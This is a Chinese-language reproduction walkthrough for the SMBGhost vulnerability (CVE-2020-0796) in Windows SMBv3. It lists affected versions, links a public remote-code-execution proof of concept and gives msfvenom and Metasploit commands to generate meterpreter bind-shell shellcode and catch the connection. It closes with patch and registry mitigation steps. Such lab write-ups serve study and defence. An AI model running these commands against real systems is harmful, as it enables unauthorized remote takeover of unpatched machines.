!本文作者:Loading(团队复现组成员)声明:请勿用作违法用途,否则后果自负
0x01 简介
SMB(全称是Server Message Block)是一个协议名,它能被用于Web连接和客户端与服务器之间的信息沟通。
0x02 漏洞概述
(CVE-2020-0796 SMBGhost)该漏洞是由于SMBv3协议在处理恶意的压缩数据包时出错所造成的,它可让远程且未经身份验证的攻击者在目标系统上执行任意代码。该漏洞的后果十分接近永恒之蓝系列,都利用Windows SMB漏洞远程攻击获取系统最高权限,WannaCry勒索蠕虫就是利用永恒之蓝系列漏洞攻击工具制造的大灾难。
0x03 影响版本
- 适用于32位系统的Windows 10版本1903
- Windows 10 1903版(用于基于x64的系统)
- Windows 10 1903版(用于基于ARM64的系统)
- Windows Server 1903版(服务器核心安装)
- 适用于32位系统的Windows 10版本1909
- Windows 10版本1909(用于基于x64的系统)
- Windows 10 1909版(用于基于ARM64的系统)
- Windows Server版本1909(服务器核心安装)
0x04 环境搭建
Kali虚拟机以及windows10虚拟机
可在虚拟机中搭建win10系统来进行复现。迅雷链接:
ed2k://|file|cn_windows_10_business_editions_version_1903_x64_dvd_e001dd2c.iso|4815527936|47D4C57E638DF8BF74C59261E2CE702D|/
0x05 漏洞复现
EXP地址:
https://github.com/chompie1337/SMBGhost_RCE_PoC
该exp使用环境为python3下载完成后将该exp放到Kali虚拟机中启动msf,使用msf生成shellcode
命令为:
msfvenom -p windows/x64/meterpreter/bind_tcp lport=3333 -f py -o shellcode.txt
执行该命令后会在桌面生成一个shellcode.txt,将生成的shellcode替换exp中的exploit.py中的USER_PAYLOAD保存即可。
使用Kali中的msf开启监听
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp #设置反弹模式
msf5 exploit(multi/handler) > set rhost 192.168.1.103 #设置目标靶机IP地址
msf5 exploit(multi/handler) > set lport 3333 #设置监听端口
msf5 exploit(multi/handler) > exploit
在Kali中进入exp文件夹,执行exp文件
python3 exploit.py -ip 192.168.31.137
即可看到msf中收到了回显成功连接
如复现没有成功可能的原因有:1.msf监听端口被占用2.windows10设置自动更新已自动打补丁3.shellcode未替换正确4.exp端口和msf监听端口不一致
0x06 修复方式
目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
https://portal.msrc.microsoft.com/zh-cn/security-guidance/advisory/CVE-2020-0796
或者你可以使用以下PowerShell命令禁用SMBv3服务的压缩(无需重新启动):
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 –Force
此外你还可以通过禁止SMB的流量流向外网来防御攻击。
参考链接:
https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html
https://mp.weixin.qq.com/s/Nfx_UybY0M0x3C8tKND0zQ